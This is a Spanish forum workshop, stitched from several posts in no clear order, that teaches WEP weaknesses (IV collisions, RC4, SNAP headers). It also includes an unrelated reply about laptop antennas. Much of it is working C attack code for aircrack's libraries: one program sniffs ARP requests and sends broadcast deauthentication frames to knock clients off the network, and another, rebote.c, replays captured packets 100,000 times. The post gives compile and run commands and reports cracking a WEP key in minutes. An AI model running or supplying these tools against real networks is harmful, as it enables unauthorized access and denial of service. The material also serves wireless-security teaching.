24 bytes para la cabecera 802.11 (o 26 si hay QoS)
4 bytes para el IV
6 bytes para la cabecera SNAP
36 bytes para los datos cifrados ARP
4 bytes para el ICV.

En total, tendremos 68 bytes si no hay QoS o 70 si hay QoS.

Es posible existan paquetes de 68 bytes que no sean ARP, por ejemplo algunos paquetes IGMP (ojo, he puesto IGMP no ICMP) tienen ese tamaño. Estos paquetes son UDP y se utilizan contra direcciones multicast de host que están suscritos a determinados servicios.

Por tanto, podemos errar... si es el caso, no nos daremos cuenta hasta que termine todo, y tendremos que repetir.

Sin embargo, en lugar de leer indefinidamente hasta encontrar un paquete de datos que "parezca" ARP, limitamos mediante una condición,,, de forma que si tras leer 500 paquetes no "damos" con uno de datos, con wep activado y de tamaño 68, lanzamos desautenticaciones al BROADCAST!!!!

De ese modo los clientes tendrán que volver a autenticarse y de las primeras cosas que harán es enviar ARP request al punto de acceso!!!

También podíamos haber empezado por ahí y no esperear a leer 500, efectivamente, estaría mejor así... pero lo hecho, hecho está

Por tanto la función inyectar_arp_req hace una llamada a la función desautenticar_todos pasándole como parámetro el bssid del AP que tecleamos en la función main.

No te pego el código de la función desautenticar_todos porque es la misma que hemos utilizado para las denegaciones de servicio, concretamente es el mismo código que llamamos dos01.c excepto que se utiliza desautenticación en lugar de disociación.

Como tienes el enlace del código fuente, ya lo verás por ti mismo.

Lo que si pego en este post es el contenido de la función inyectar_arp_req, que es la que nos interesa.

Código [Seleccionar] Expandir

int inyectar_arp_req(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
unsigned char ARP_REQ[4096];

int captura_ARP_REQ;
int tamano_arp;
int cabmac;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;
memset (ARP_REQ, 0, 4096);
captura_ARP_REQ=0;

printf ("\n**** Esperando un ARP REQ con destino a -----> ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while( captura_ARP_REQ == 0) // mientras no se haya capturado un ARP_Request
    {
       
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
fflush (stdout);
nb_pkt_read++;
if (nb_pkt_read % 500 ==0) {
printf("\n\nATENCION!!! Parece que no se capturan ARP_REQ");
printf("\n*********** Probando desautenticación al broadcast\n");
desautenticar_todos(macAP);
continue;
}
usleep(1800);
tamano_arp=68; // el tamaño de un paquete arp es 68 para 802.11
// 24 para la cabecera mac 802.11 estándar
// 4 para el IV
// 36 de los datos cifrados de ARP
// 4 para el ICV
// 24+4+26+4 = 68

if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

cabmac = ( ( h80211[1] & 3 ) == 3 ) ? 30 : 24; //30 si (toDS=1 y FromDS=1). 24 en otro caso

if( (h80211[0] & 0x80) == 0x80) {  // Si es un paquete QoS
cabmac+=2; // la cabecera MAC tiene un tamaño extra de 2 Bytes
tamano_arp+=2; // la longitud total del paquete tiene un tamaño extra de 2 bytes
}

if(caplen != tamano_arp) continue; // si el tamaño del paquete leido no es el de un arp, leer otro

    if ((h80211[1] & 0x01) == 0x01) { // Si es un paquete toDS

if (h80211[16]==0xff ) { //asumimos que si la macdestino comienza por FF es broadcast
// realmente deberíamos comprobar que las 6 posiciones sean FF
// pero lo damos por supuesto

/* Comprobamos que el bssid del paquete leido es la misma mac que la que tecleamos */
/* de ese modo nos aseguramos que el paquete leído pertenece a la red wifi deseada*/

esmiap=0;
for (z=0;z<6;z++) {
if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
}
if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
{
memcpy (ARP_REQ,h80211,caplen); // copiar el paqute ledio al array ARP_REQ
captura_ARP_REQ=1; // hacemos uno esta variable para salir del while!!!
}
}
}


} // fin de while y captura de paquetes

/* Parece que tenemos un Candidato */

printf ("\n\nPaquete ARP_REQ a enviar");
printf ("\n************************\n");
dump_packet (ARP_REQ, caplen);
printf ("\nEsperando 5 segundos para reinyectar el paquete ARP_REQ.");
printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
sleep(5);

/* Inyectar 100.000 paquetes del tipo ARP_REQ */

for (n=0;n<100000;n++) {
send_packet (ARP_REQ, caplen);
printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
fflush (stdout);
usleep(1800);
}
return(0);
}

Como de costumbre, he intentado ser lo mas descriptivo posible dentro del código fuente.

Ya veo que es algo "pesado" estar continuamente explicando cada paso, pero es que lo que nos interesa en este taller es precisamente eso, comprender como se construyen las tramas, los valores, etc.. por eso nunca sobran estas explicaciones aunque sean repetitivas en muchas ocasiones.

Además, dentro de poco van a venir ataques "mas serios" o al menos mas complicados, y entonces estas pequeñas explicaciones serán bastante útiles.

También vamos a verlo en acción (este no fallará en el crack )



Y tras unos 40mil paquetes inyectados...



Correcto!!! Inyección exitosa y clave wep descifrada!!!!

Como ves, es bastante rápido... en menos de 3 minutos tenemos la clave wep (en la pantalla que se muestra arriba pone 6 minutos... pero ya llevaba 89782 paquetes de datos inyectados, con 40000 fueron suficientes, 2 minutos)

[VULNERABILIDADES WEP. Parte I. Práctica (1)]

VULNERABILIDADES WEP. Parte I. Práctica (1)

Reinyección de tráfico. Ejemplo 1. Programa rebote.c

Bien, pues vamos al primero, lo he llamado rebote.c y simplemente se pone a escuchar una red (se le pasa por teclado el BSSID del Punto de acceso) y cuando captura un paquete de datos se pone como un loco a repetirlo...

Observa en el código de mas abajo que se comprueba si la mac del punto de acceso aparece en "cualquier posición" de la cabecera 802.11 se procede a la comparación, es decir, si la mac del punto de acceso es origen, destino o bssid. (3 bucles for son los que lo controlan)

El código de este ejemplo aquí: http://www.megaupload.com/?d=L55EAI9C

Lo guardas en el directorio de las fuentes de aircrack con el nombre rebote.c

Y lo compilamos:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o rebote rebote.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude rebote.o common.o crypto.o -o rebote -Losdep -losdep   -lssl -lcrypto

Como ya he dicho, si hay suerte y se trata de un paquete del que se espera respuesta, pues mejor, si no, aunque envies millones de paquetes los IV's no serán efectivos para recuperar la clave wep.

Este sencillo programa utiliza las funciones (estas tres ya deben ser mas que conocidas a estas alturas)

read_packet para leer los paquetes
send_packet para enviar (reinyectar en este caso) el paquete capturado
dump_packet para ver el paquete que estamos inyectando.[/list]Y las que nos interesan de verdad para el ejemplo, son las funciones:

rebote_datos que es la función encargada de la reinyección
main, pues eso, donde comienza todo.[/list]
Función main

Código [Seleccionar] Expandir

int main( int argc, char *argv[] ) // inicio del programa
{
    unsigned int bssidAP[6];
//Comprueba el paso de parámetros
   if( argc != 2 ) {
    printf("\nUso: rebote interface\n\nEjemplo: rebote wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

setuid( getuid() );

printf ("\nEscribe la MAC del bssid o Punto de Acceso ----> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &bssidAP[0],&bssidAP[1],&bssidAP[2],&bssidAP[3],&bssidAP[4],&bssidAP[5]);

rebote_datos(bssidAP);

return( 0 );
}

Esto ya es habitual en todo este taller, prepara la interface wifi que usaremos, verifica el paso de parámetros, pide por teclado que le indiquemos un bssid (en formato xx:xx:xx:xx:xx:xx) y ese valor tecleado lo pasa como parámetro a la función rebote_datos

Contenido de la función rebote_datos

Código [Seleccionar] Expandir

int rebote_datos(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;

printf ("\n**** Esperando un paquete de datos con destino a ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while(1) // mientras no se hayan capturado datos interesantes
    {
       
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
fflush (stdout);
nb_pkt_read++;
usleep(1800);

if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

    esmiap=0; //asumimos que el paquete tiene el bssid correcto que coincide con el tecleado
for (z=0;z<6;z++)
if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
// si alguno de los bytes del bssid leido es
// diferente a los tecleados, el paquete no vale
// y se debe leer otro nuevo
for (z=0;z<6;z++)
if (h80211[z+10] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
// si alguno de los bytes del bssid leido es
// diferente a los tecleados, el paquete no vale
// y se debe leer otro nuevo
for (z=0;z<6;z++)
if (h80211[z+16] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
// si alguno de los bytes del bssid leido es
// diferente a los tecleados, el paquete no vale
// y se debe leer otro nuevo


if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
break; // hacemos break para salir del while!!!


} // fin de while y captura de paquetes

/* Parece que tenemos un Candidato */

printf ("\nPaquete a enviar");
printf ("\n****************\n");
dump_packet (h80211, caplen);
printf ("\nEsperando 10 segundos para reinyectar el paquete de DATOS.");
printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
sleep(10);

/* Inyectar 100.000 paquetes de datos */

for (n=0;n<100000;n++) {
send_packet (h80211, caplen);
printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
fflush (stdout);
usleep(1800);
}
return(0);
}

Como ves, a esta función se le pasa un argumento (bssidAP[6]) que será la MAC del punto de acceso de la red WEP y que tecleamos desde la función main.

Inicia con un while (1) indefinido hasta capturar un paquete, se analiza:

* Que el paquete capturado tenga el bit wep activado
* Que sea de datos
* Que el bssid sea el que se pasó como parámetro

Cuando estas tres condiciones se cumplen se termina el while.

Entonces, se presenta el paquete por pantalla y se envía 100 mil veces.

Como se indica en la ejecución del programa, es interesante que pongamos airodump a funcionar y así comprobaremos que efectivamente los paquetes de datos "crecen" exageradamente.

Recuerda que no tenemos certeza de que sea un "buen candidato" a la reinyección, por lo que igual, tras los 100 mil paquetes no tenemos IV's significativos.

Vamos a verlo "en acción" Lanzamos nuestro rebote, por ejemplo:

Código [Seleccionar] Expandir

./rebote eth1

Cuando aparezca en pantalla el mensaje de "Ejecuta airodump para..."  Lanzamos en otra shell airodump, por ejemplo así:

Código [Seleccionar] Expandir

./airodump-ng -w test -c 7 -d 00:16:B6:41:03:5D

Aquí tienes el resultado....



Si acertamos con un "buen paquete" podemos pasar aircrack tras capturar unos miles de IV's, que como hemos dicho no se garantiza un buen resultado, por ejemplo, este falló:



Pero lo importante no es hacer crack de la clave (por el momento) lo importante es comprender el asunto de la reutilización del IV en la reinyección de tráfico.

El próximo, no fallará

[VULNERABILIDADES WEP. Parte I. Teoría]

VULNERABILIDADES WEP. Parte I. Teoría

Colisiones IV

La primera vulnerabilidad que vamos a comentar es la que se conoce como IV Collision (Colsiones del IV)

Como hemos comentado, el IV es un valor de 24bits y aunque parezca un valor bastante grande: 2^24 = 16.777.216 vectores de inicialización, en la práctica no lo es tanto.

Supongamos una red cuya tasa es de 11mbps transmitiendo tramas de datos de 1500 bytes.

Código [Seleccionar] Expandir

11.000.000 mbps / (1.500 * 8 bits ) = 916'67 paquetes por segundo.

Si dividimos el nº total de IV's entre los paquetes x seg. De la fórmula anterior:

Código [Seleccionar] Expandir

16.777.216 IV's / 916'67 paq. X seg = 18.302 seg (aproximadamente)

18.302 segundos en horas: 18.302 / 3600 = 5 horas (aproximadamente)

Estamos asumiendo que sólo existe una sola estación en la red y que el IV se va incrementando en una unidad por cada paquete enviado, que se hecho es así en la mayoría de los casos.

Podrías pensar que el IV, en lugar de incrementarse de uno en uno, sería mas seguro que lo hiciese aleatoriamente.. pues no...

Existe un análisis denominado paradoja de cumpleaños, esto viene a decir que: si juntamos a 23 personas en una misma habitación, existe mas de un 50% de probabilidades que dos de ellas coincidan en el día y mes de nacimiento.

Si en lugar de 23 personas, reunimos a 50, las probabilidades de que dos de ellas coincidan en mes y día suben al 97% y si en lugar de reunir a 50, reunimos 60... la probabilidad es de mas del 99%!!!!

Aplicando la paradoja de cumpleaños al uso aleatorio de IV's resulta que tras el envío de unos 4800 paquetes de datos existe una probabilidad cercana al 60% de que se repitan, por ello es preferible que los IV's se vayan incrementando en una unidad que se escojan de forma aleatoria.

Cuando dos paquetes diferentes, con sus ICV's diferentes se repiten, tenemos una colisión de IV.

Y???

Pues que si dos contenidos diferentes arrojan el mismo IV y si un atacante conoce el valor del texto plano de uno de los dos mensajes, se puede obtener el contenido del texto plano del otro mensaje con una simple operación XOR.

Pongamos un ejemplo muy sencillo, de un solo byte para no complicarlo mucho....



El atacante adivina, intuye o está completamente seguro de que el valor en texto plano de mensaje B es R (0x52), para conseguir adivinar el valor en texto plano del mensaje A:

Como el IV es el mismo para ambos mensajes cifrados, podemos obtener un

keystream provisional haciendo un simple XOR entre los valores del texto cifrado de ambos mensajes:[/list]


Si ahora aplicamos este keystream al valor de texto plano del mensaje B (que suponemos o sabemos que es 0x52) nos dará el valor del texto plano para el mensaje A:



De este modo podemos descifrar un mensaje sin conocer la clave WEP.

Ya... lo sé... estás murmurando que Claro, esto si sabemos el texto plano de uno de los dos mensajes, cómo vamos a saber eso!!!????

Pues como veremos un poquito mas adelante, existen muchas formas, una de ellas es enviar paquetes desde la red cableada a la red inalámbrica (siempre y cuando estemos enchufados en la misma red, claro), otra es por el tamaño de los paquetes capturados, o por pura intuición (y algo de suerte, todo sea dicho)

Otra forma es aprovechar el uso de vectores de inicialización con contadores pequeños...

Hemos dicho que lo mas habitual es que a medida que se van transmitiendo paquetes de datos, las estaciones incrementan en uno el IV (para soslayar el tema de la paradoja de cumpleaños), cuando llega la cuenta al final, empiezan de nuevo desde el número uno y así cada vez.

Y se puede forzar que vuelvan de nuevo a la cuenta desde cero en un momento determinado???

Pues sí, las estaciones ponen el contador de IV's a cero cuando:

• Se reinicia el sistema operativo
• Se desactiva la tarjeta de red y se vuelve a activar
• Cuando se desautentican y vuelven a autenticarse

El tercer caso es el mas asequible para un atacante... si provocamos un DoS al cliente o al punto de acceso, cuando vuelva a reasociarse el contador de IV's volverá a contar desde cero.

Y???

Pues que cuando un cliente se asocia, los primeros paquetes que envía suelen ser del tipo DHCP Discover, DHCP Request, etc... También ARP request y ARP Response.

Este tipo de paquetes son bien conocidos en su encapsulación, suelen tener un tamaño fijo y son fácilmente predecibles.

Por tanto, el atacante, puede imaginar el contenido de casi todo el paquete en texto plano, si provoca un DoS en repetidas ocasiones y captura los datos cifrados, como los IV's comenzarán de nuevo desde cero, podrá usar la técnica anteriormente descrita para descifrarlos.

Además, una vez que hemos descifrado un paquete completo o semicompleto, ya podemos obtener el verdadero keystream usado por la clave wep, con este keystream se puede descifrar cualquier otro paquete de datos siempre que se repita el IV.

Bueno, esto sólo es teórico, ya veremos que usando esta misma técnica lo conseguiremos en la práctica.

Y mas.., en  la observación de IV's duplicados se basan algunos de los ataques estadísticas para obtener la clave WEP (he dicho la clave, no el keystream, y con la clave ya podemos participar de la red)

Reutilización de IV's.

Quizás este sea uno de los mayores problemas de WEP, no existe un control sobre aquellos IV's que ya fueron utilizados y se permite reusar el mismo IV tantas veces como se quiera.

Con la reutilización de los IV's podemos inyectar paquetes sin mas, no hace falta conocer NADA del texto plano ni del keystream.

A continuación voy a poner dos códigos de ejemplo que nos servirán para la reinyección de tráfico.

El primero no es nada sofisticado, sencillamente se limita a capturar un paquete de datos de una red y reinyectarlo indefinidamente (bueno, ciertamente puse un contador para que pare cuando llegue a 100 mil paquetes).

Como es poco sofisticado, no sabemos a ciencia cierta qué demonios estamos inyectando... si tenemos suerte y se trata de un paquete de datos que requiere respuesta por el destino, perfecto!!!

Tendremos un bonito inyector de tráfico que generará muchos IV's de respuesta y por análisis estadístico se podrá recuperar la clave WEP.

Si por el contrario, (como no es sofisticado, está tomando el primero que encuentra) resulta que el paquete elegido es un paquete del que no se espera resupesta alguna, pues sí... veremos que inyectamos paquetes, el tráfico subirá, pero el IV es siempre el mismo por lo que serán de poca calidad y aunque obtengamos miles de IV's no seremos capaces de recuperar la clave WEP.

Por ello, los mejores candidatos a re-inyectar son paquetes del tipo:

• TCP-SYN (al recibirlo el destino, responderá con un TCP SYN-ACK generando un nuevo IV para cada SYN que enviemos)

• PING, los echo request de ICMP, lo mismo de antes, el receptor responderá con su

pong (echo-reply) y por cada ping enviado generará un nuevo ICV en la respuesta pong.

• ARP Request, las solicitudes ARP son de las mejores, son paquetes pequeños, sencillos de manejar, de tamaño fijo y recibirán una respuesta (ARP response) del receptor, que como en los casos anteriores se generarán miles de IV's diferentes por cada respuesta y tendremos base estadística para descubrir la clave.[/list]
Paquetes que no son muy útiles para la reinyección (hay muchos, sólo pongo algunos ejemplos)

• TCP RST un cierre de conexión no recibe respuesta

• TCP FIN, idem de antes

• Casi todos los paquetes UDP excepto unos pocos

• Casi todas las respuestas (en general) un ARP response no genera tráfico nuevo, una respuesta de una página WEB, una respuesta a un ping, etc... esos no son

buenos candidatos para la reinyección.[/list]
Además, reinyectar paquetes TCP (y por consiguiente el resto de los protocolos subyacentes, http, FTP, etc...) es delicado puesto que como ya debemos saber, TCP mantiene un control de la conexión, un checksum de IP y de TCP, un numero de secuencia, etc... por lo que si repetimos dos veces un paquete TCP es muy probable que el destino lo descarte en silencio y no envíe respuesta alguna, con lo que nuestra reinyección será pobre.

El segundo código es más efectivo y obtendremos una inyección muy rápida y eficaz, al tiempo.

Se basa en el descubrimiento de paquetes que sí esperan respuesta del receptor de los mismos.

Por su sencillez y fácil generación lo haremos con paquetes del tipo ARP.

Buenas:

NO entiendo lo que quieres exponer.... pero si te refieres a :

Portatil, que tiene una minipci.... Sí que puedes hacer modificaciones al portatil (algun agujero) para pasar cable y poner un conector sma...

Hay un montón de posts con imágenes....

Busca por Mod Portatil antena

Un saludo

ChimoC

[WEP (Wired Equivalent Privacy, Privacidad Equivalente al Cable)]

WEP (Wired Equivalent Privacy, Privacidad Equivalente al Cable)

WEP es uno de los métodos utilizados para cifrar las comunicaicones inalámbricas.

Es un algoritmo opcional, nada ni nadie obliga su utilización y si bien como veremos en este mismo apartado, es francamente vulnerable por todas partes, utilizar WEP siempre será mejor que nada.

Desde los inicios del estándar 802.11 se ha mantenido sin cambios a medida que aparecieron nuevas revisiones de los mismos (802.11a, 802.11b) precisamente para garantizar la compatibilidad entre los distintos fabricantes.

Está implementado en la totalidad de las tarjetas inalámbricas (y puntos de acceso)  y en muchos casos a nivel de MAC no sólo por software.

El cifrado de datos no garantiza el proceso de autenticación, esto es, podemos utilizar un sistema de cifrado de datos (como WEP) con autenticación "abbierta" o mediante clave compartida.

En el modo abierto una estación que recibe una solicitud de comunicación puede conceder la autorización de acceso a la red a cualquiera o sólo aquellas que estén incluidas en una "lista blanca", esa lista blanca no es otra cosa que una relación de MAC's de las estaciones  a las que les está permitido el acceso a la red, o como lo conocemos de una forma mas coloquial, un filtrado de MAC.

Por tanto, en el modo abierto tenemos dos formas de autorización:

• abierta y sin autorización
• abierta y con filtrado de MAC

.En un sistema de clave compartida, sólo aquellas estaciones que posean una llave cifrada serán autenticadas antes de proceder al cifrado o la comunicación.

El sistema de autenticación puede ser un equipo externo (un servidor de autenticación tipo RADIUS; AAA, etc..) y en otras ocasiones puede ser el mismo punto de acceso.

Ni que decir tiene que un sistema de autenticación mediante clave compartida (ya sea WEP u otros) es mas seguro que un sistema en modo abierto.

Recuerda: La autenticación es un paso diferente al cifrado.

Cuando se utiliza un cifrado (como WEP) y un sistema de claves compartidas (un sistema de autenticación) decimos que es una red en modo seguro.

De lo anterior deducimos que el cifrado es la forma adecuada de proteger los datos a transmitir y que la autenticación es la forma adecuada de validar qué estaciones tienen acceso al medio para poder transmitir, ambos en conjunto, implementan un sistema seguro.

WEP se desarrolló para garantizar la confidencialidad e integridad de los datos en los sistemas WLAN basados en el estándar 802.11, así como para proporcionar control de acceso mediante mecanismos de autenticación. Consecuentemente, la mayor parte de los productos WLAN compatibles con 802.11 soportan WEP como característica estándar opcional.

El Cifrado WEP.

WEP utiliza una clave secreta compartida entre una estación inalámbrica y un punto de acceso. Todos los datos enviados y recibidos entre la estación y el punto de acceso pueden ser cifrados utilizando esta clave compartida.

El estándar 802.11 no especifica cómo se establece la clave secreta, pero permite que la existencia una tabla que asocie una clave exclusiva con cada estación. En la práctica general, sin embargo, una misma clave es compartida entre todas las estaciones y puntos de acceso de un sistema dado.

Para proteger el texto cifrado frente a modificaciones no autorizadas mientras está en tránsito, WEP aplica un algoritmo de comprobación de integridad (CRC-32) al texto en claro, lo que genera un valor de comprobación de integridad (ICV) que se añade al final de cada trama a transmitir.

Nota aclaratoria acerca del ICV (ó CRC32)

En muchos lugares (libros, webs, foros, etc..) encontrarás que unos dicen que el ICV es el CRC32 de los datos sin cifrar a transmitir, otros dicen que el ICV es el CRC32 del contenido de los datos sin cifrar al que se le aplica el algoritmo RC4, en otros encontrarás que el ICV es el CRC32 de los datos sin cifrar al que se le aplica el un keystream (un flujo de bytes resultante del algoritmo RC4).

Ya... igual es un poco trabalenguas, te pongo una imagen de los tres casos para que observes bien las diferentes afirmaciones:

Caso a) El ICV es el CRC de los datos a transmitir sin cifrarry se añade al final de los datos cifrados.



Caso b) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica el algoritmo RC4 y que se añade al final de de los datos cifrados.



Caso c) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica un keystream resultante del algoritmo RC4 y que se añade al final de los datos cifrados.



Lo que está claro es que el ICV es el CRC32 de los datos a transmitir si cifrar y también está claro que se añaden al final del paquete cifrado... pero...

¿Se añaden "sin mas"? (caso a)

¿Se añaden tras aplicarle RC4? ) (caso b?

¿Se añaden tras aplicarle un keystream de RC4? (caso c)

¿Cual es el "bueno"?

Primero tendemos que aclarar que el CRC32 NO es un mecanismo de "seguridad", mas bien es un mecanismo de comprobación... para comprobar que el contenido de "algo" a enviar es el contenido de "ese algo" recibido.

No es particular de WEP, ni mucho menos, se aplica a numerosos formatos, escritura de archivos, ficheros zip, imágenes, SSL, etc... es sencillamente eso, una forma de constatar que no hubo errores en la operación (escritura, envío, compresión, etc..) y en algunos casos también podemos "recuperar" parte de la información dañada recalculando el CRC...

Otra cosa importante es que el CRC32 se calcula SIEMPRE sobre los DATOS y NUNCA sobre la cabecera, es decir, la parte correspondiente al Frame Control, duración, MAC's, número de secuencia y QoS (si lo hay) no se incluyen en el CRC32.

Además, tenemos que añadir "otro elemento" al cifrado WEP, el IV (o Vector de Inicialización)

Este IV se añade al final de la cabecera MAC y son 4 bytes.... Este IV TAMPOCO forma parte del CRC32.

La trama a enviar de un paquete WEP tendría esta forma más o menos:



De los cuales sólo la zona amarilla es el resultado de aplicar el algoritmo RC4 a los datos sin cifrar y que (obviamente) da como resultado los datos cifrados.

Según esta afirmación podríamos asegurar que la respuesta a la pregunta que nos estamos haciendo es la a)

Esto quiere decir que

si utilizamos el mismo IV y los mismos datos a transmitir el ICV será siempre el mismo.

También, quiere decir que si usamos diferentes IV's  y los mismos datos a transmitir, el ICV también debería se el mismo para todos los paquetes... si haces la prueba verás que NO es así.[/list]Es cierto que para un mismo IV y mismos datos a trasmitir, el ICV es el mismo... pero si el IV "cambia" aunque los datos a transmitir sean los mismos, el ICV TAMBIÉN cambia.

Bueno, pues no alarguemos mucho mas esto....  La solución correcta es la c)

El caso b) tiene "trampa" y es que tras obtener RC4 se aplica un keystream al CRC32 calculado, por eso la confusión.

Por tanto, para generar un paquete (completo) cifrado con WEP la imagen correcta es esta:



Pero recuerda que el resultado (los datos cifrados) son un flujo (un keystream) resultante de aplicar RC4 al contenido del paquete a enviar en texto plano + su checksum (CRC32). A cada byte en plano se le aplica un byte del keystream obtenido que dará como resultado un byte cifrado.

Vemos que la cabecera MAC y el IV se transmiten en plano, mientras que los datos y el CRC32 se cifran con RC4

También hay que añadir que se si se utilizase un sistema de autenticación, habría cambios en la cabecera MAC puesto que se cifraría con la clave compartida... quedaría así:



De momento nos vamos a olvidar de los sistemas de autenticación, daremos por hecho que el sistema es abierto y cifrado con WEP.

Para comprender mejor el cometido del IV en este escenario, primero tenemos que hablar de RC4 y cómo lo aplica WEP.

Algoritmo RC4

Aunque desarrollado por RSA security, no hay que confundir RC4 con RSA.

Como muchos hemos aprendido, RC4 tiene una historia curiosa puesto que desde que se inventó (allá por el año 1987)  hasta el día de hoy no ha sido liberado su código... parece ser que 7 años después de su creación, apareció el código fuente publicado en una lista de correo, y es con esta "liberación forzada"  por lo que conocemos el funcionamiento del mismo.

RC4 genera un flujo pseudoaleatorio de bits (un keystream) que se combina con el texto plano usando la función XOR.

Es un cifrado simétrico (ambos extremos poseen la misma clave para cifrar y descifrar el mensaje) y genera el mismo número de bytes cifrados que los existentes en el texto plano (no te olvides que hay que añadir el CRC32 como parte del texto a cifrar)

Por eso se llama de "flujo", el tamaño del texto cifrado es idéntico al tamaño del texto resultante del cifrado, esto no ocurre con otros tipos de cifrado como pueden ser los de bloques.

El motivo de utilizar RC4 en WEP es por su simplicidad de cálculo en los procesos, si las redes inalámbricas ya tienen que competir con los esfuerzos de una transmisión rápida, colisiones, acceso compartido al medio, etc.. si le añadimos un algoritmo de cifrado que ocupe mucho tiempo en calcularse  o que genere un tamaño de texto cifrado mucho mas grande, la comunicación sería muy lenta.

Cómo funciona WEP

* Utiliza RC4 para el cifrado de datos+CRC32
* Uso llaves  de 64,128,256 bits.
* Estas llaves se genera a partir de una passphrase automáticamente.
* La llave o passphrase deben conocerla todos los clientes

Generación de llaves:

Las llaves realmente son de 40, 104 y/o 232 bits!!! Puesto que 24 bits son para el IV

Pongamos un ejemplo para claves de 40 bits.

Supongamos que el passphrase elegido para el cifrado de la red WEP es: currupipimix0



Como ves en la tabla, se realizan operaciones XOR entre los diferentes valores en hexadecimal de passphrase y se obtiene una semilla (seed) de 4 bytes:

Código [Seleccionar] Expandir

63 XOR 75 XOR 69 XOR 30 = 3F
75 XOR 70 XOR 6D = 68
72 XOR 69 XOR 69 = 72
72 XOR 70 XOR 78 = 7A

Esta semilla (3F 68 72 7A) la usará PRGN (un generador de números pseudoaleatorios)  para generar 40 cadenas de 32 bits que a su vez se escogerá un bit para generar 4 llaves de 40 bits, de las que habitualmente sólo usaremos una de ellas. Esta será la clave WEP a utilizar.

Esto es lo que llamaremos más adelante KSA + PRGN.

De estos valores KSA y PRGN, se consigue el IV al que se le añade el "key index" (número de clave que está siendo usada) y se le pasan a RC4 para que genere el keystream del texto en plano.

De nuevo una figura es "más cómodo" para entenderlo:



Para descifrar el paquete recibido:

• El receptor extrae el IV que se envía inmediatamente después de la cabecera MAC.

• Examina el "key index" y escoge la clave apropiada.

• Como "conoce" la clave secreta , el key index de la llave escogida y el IV, puede generar su propio keystream.

• Realiza una operación XOR entre los datos recibidos y el keystream calculado, de tal forma que obtiene los datos en plano.

• Calcula el CRC32 de los mismos y lo comprueba haciendo también un XOR del ICV recibido con el keystream de los bytes correspondientes.

• Si el CRC32 concuerda, procesa los datos, en caso contrario los descarta.

De esto desprendemos que:

Código [Seleccionar] Expandir

Texto plano XOR texto cifrado = keystream

Si conocemos dos de esos tres valores podemos obtener el tercero, obvio, claro... pero ya veremos mas adelante que esto es muy útil.

SNAP y LLC

Hasta ahora hemos hablado de datos en texto plano (los datos a enviar) y datos cifrados (lo que realmente se envía tras realizar las operaciones con  RC4, keystream, llaves, etc..)

Pero hay algo importante que se debe conocer: A los datos en texto plano se les "antepone" una cabecera nueva... lo que se llama la subcapa LLC ó SNAP.

Esto es un control de enlace, para el caso que nos ocupa, esta cabecera SNAP permite usar los datos Ethernet con los valores de 802.11,, de este modo pueden operar "entre ellos".

El estándar dice que deben comenzar por 0xAA, en la práctica y siguiendo con el caso de las redes inalámbricas, la cabecera SNAP y/o subcapa LLC suele tener estos valores:

AA AA 03 00 00 00; 6 bytes para comunicaciones sin el protocolo Spanning-tree (usado por vlans)

42 42 03 00 00 00: 6 bytes para las comunicaciones en los que Spanning-tree está activado.[/list]Puedes averiguar mas información acerca de la subcapa LLC y SNAP en:

http://es.wikipedia.org/wiki/IEEE_802.2

O sea, que a los datos a transmitir en texto plano se les anteponen 6 bytes para la cabecera SNAP/LLC. De tal forma que si queremos transmitir algo así:

Código [Seleccionar] Expandir

08 06 00 01 08 00 06 04 00 02 ......... (esto es un ARP Response)

Realmente se envían:

Código [Seleccionar] Expandir

AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 02 ......... (esto es un ARP Response)

A decir verdad, lo que sería la cabecera SNAP/LLC sería (para este ejemplo):

Código [Seleccionar] Expandir

AA AA 03 00 00 00 08 06

Y los datos:

Código [Seleccionar] Expandir

00 01 08 00 06 04 00 02 ...

Es decir, la cabecera SNAP/LLC son los consabidos 6 bytes + 2 primeros bytes de los datos a enviar (estos dos bytes definen el protocolo que se usará, ARP, IP, etc..)

Por tanto, tanto RC4 como el keystream hay que calcularlo de la cabecera SNAP + Datos en texto plano!!!

